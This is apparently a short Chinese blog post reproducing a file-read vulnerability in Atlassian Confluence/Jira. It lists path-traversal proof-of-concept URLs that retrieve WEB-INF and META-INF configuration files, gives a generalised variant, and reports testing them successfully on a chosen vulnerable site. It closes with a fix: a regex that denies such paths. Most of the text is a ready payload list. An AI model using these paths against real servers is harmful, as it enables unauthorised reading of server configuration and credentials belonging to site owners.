Confluence文件读取漏洞复现

1、Confluence系统都存在漏洞，漏洞poc如下:

/s/xx/_/;/WEB-INF/web.xml 
/s/xx/_/;/WEB-INF/decorators.xml 
/s/xx/_/;/WEB-INF/classes/seraph-config.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties

稍加改造/s/everything/_/;anythingulike/WEB-INF/web.xml

2、挑一个漏洞站点进行复现，漏洞复现成功。

3、漏洞修复

对正则进行了删改。

Pattern PATHS_DENIED = Pattern.compile("[^a-zA-Z0-9]((?i)(WEB-INF)|(META-INF))[^a-zA-Z0-9]")
